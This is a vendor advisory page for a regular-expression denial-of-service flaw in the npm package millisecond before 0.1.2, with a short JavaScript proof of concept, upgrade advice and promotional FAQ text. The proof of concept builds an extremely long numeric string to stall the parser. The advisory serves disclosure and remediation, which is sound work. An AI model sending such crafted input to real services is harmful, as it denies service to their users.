GHSA-M489-XR35-FJXR

GHSA-M489-XR35-FJXR is a medium-severity uncontrolled resource consumption vulnerability in millisecond (npm), affecting versions < 0.1.2. It is fixed in 0.1.2.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Regular Expression Denial of Service in millisecond

Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of concept

var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Impact

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

Affected versions

millisecond (< 0.1.2)

Security releases

millisecond → 0.1.2 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Update to version 0.1.2 or later.

Frequently Asked Questions

  1. What is GHSA-M489-XR35-FJXR? GHSA-M489-XR35-FJXR is a medium-severity uncontrolled resource consumption vulnerability in millisecond (npm), affecting versions < 0.1.2. It is fixed in 0.1.2. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. Which versions of millisecond are affected by GHSA-M489-XR35-FJXR? millisecond (npm) versions < 0.1.2 is affected.
  3. Is there a fix for GHSA-M489-XR35-FJXR? Yes. GHSA-M489-XR35-FJXR is fixed in 0.1.2. Upgrade to this version or later.
  4. Is GHSA-M489-XR35-FJXR exploitable, and should I be worried? Whether GHSA-M489-XR35-FJXR is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-M489-XR35-FJXR is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-M489-XR35-FJXR? Upgrade millisecond to 0.1.2 or later.

Stop the waste.
Protect your environment with Kodem.